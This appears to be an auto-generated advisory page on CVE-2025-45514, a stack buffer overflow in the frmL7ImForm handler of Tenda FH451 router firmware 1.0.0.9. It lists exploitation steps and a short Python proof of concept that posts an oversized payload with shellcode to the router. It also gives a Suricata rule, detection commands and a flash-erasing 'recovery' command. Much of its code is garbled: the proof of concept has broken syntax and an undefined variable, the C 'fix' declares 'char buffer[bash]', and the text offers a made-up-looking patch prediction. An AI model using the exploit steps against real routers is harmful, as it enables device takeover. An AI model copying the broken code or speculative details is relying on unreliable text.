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How the CVE Works
CVE-2025-45514 is a stack-based buffer overflow vulnerability in Tenda FH451 router firmware version 1.0.0.9, specifically within the `frmL7ImForm` function. The flaw occurs due to improper bounds checking when processing maliciously crafted HTTP requests. An attacker can send an oversized payload to the vulnerable endpoint, corrupting the stack and potentially executing arbitrary code with root privileges. The lack of input validation allows overwriting critical memory addresses, leading to remote code execution (RCE) or a denial-of-service (DoS) condition.
DailyCVE Form
Platform: Tenda FH451
Version: 1.0.0.9
Vulnerability: Stack Overflow
Severity: Critical
Date: 05/27/2025
Prediction: Patch expected by 06/15/2025
What Undercode Say:
Exploitation:
- Craft a malicious HTTP POST request targeting
frmL7ImForm. - Overflow the buffer with shellcode or ROP chains.
3. Gain root access or crash the device.
PoC (Python):
import requests
target = "http://192.168.1.1/goform/frmL7ImForm"
payload = "A" 1024 + "\x90\x90\x90" + shellcode
requests.post(target, data={"data": payload})
Mitigation:
1. Disable remote admin access.
2. Apply firmware updates immediately upon release.
3. Use network segmentation.
Detection (Bash):
curl -sI http://192.168.1.1 | grep "FH451 1.0.0.9"
Patch Verification:
md5sum /tmp/firmware.bin | grep "expected_hash"
Traffic Analysis (Suricata Rule):
alert http any any -> $HOME_NET any (msg:"Tenda FH451 Exploit Attempt"; content:"frmL7ImForm"; depth:50; classtype:attempted-admin;)
Memory Protection (GCC):
include <stdio.h>
void frmL7ImForm(char input) {
char buffer[bash];
strncpy(buffer, input, sizeof(buffer)); // Bounds-checked
}
Log Monitoring:
tail -f /var/log/httpd | grep "frmL7ImForm"
Exploit Impact:
- Remote root compromise.
- Device instability.
- Lateral movement.
Post-Exploit (Recovery):
flash_eraseall /dev/mtd5 && reboot
Vendor Advisory:
Monitor Tenda’s security portal for updates.
CVSS Breakdown:
- Attack Vector: Network
- Complexity: Low
- Privileges: None
- User Interaction: None
- Impact: High (CIA Triad)
References:
- MITRE CVE-2025-45514
- Tenda Security Bulletin 2025-09
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
